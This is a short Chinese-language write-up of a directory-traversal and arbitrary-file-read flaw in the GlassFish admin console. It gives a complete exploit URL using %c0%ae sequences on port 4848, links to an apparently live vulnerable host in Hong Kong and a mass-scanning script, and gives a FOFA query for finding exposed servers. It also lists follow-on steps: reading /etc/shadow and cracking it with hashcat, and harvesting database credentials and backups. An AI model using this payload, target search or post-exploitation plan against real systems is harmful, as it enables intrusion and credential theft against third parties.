一、背景
GlassFish是针对Java语言的一款同商业兼容的应用服务器。可以帮助开发者快速调试java应用所需要的资源,以及java程序的部署。
二、漏洞简述
-
漏洞原理:
- java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)、利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。
-
漏洞载荷
- 访问操作系统的根目录:(windows和Linux)
http://IP:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/
-
示例效果
三、补充:
- 一台香港含该漏洞的主机:传送门
- 批量检测该漏洞的脚本:下载
- 进一步攻击设想:
- 读取主机密码文件(譬如:/etc/shadow),使用hashcat进行解密
- 于主机内寻找可能的配置文件,譬如数据库、网站账密等敏感信息
- 于主机内寻找备份文件,下载后进行本地分析
- fofa批量检测:
"GlassFish" && port="4848"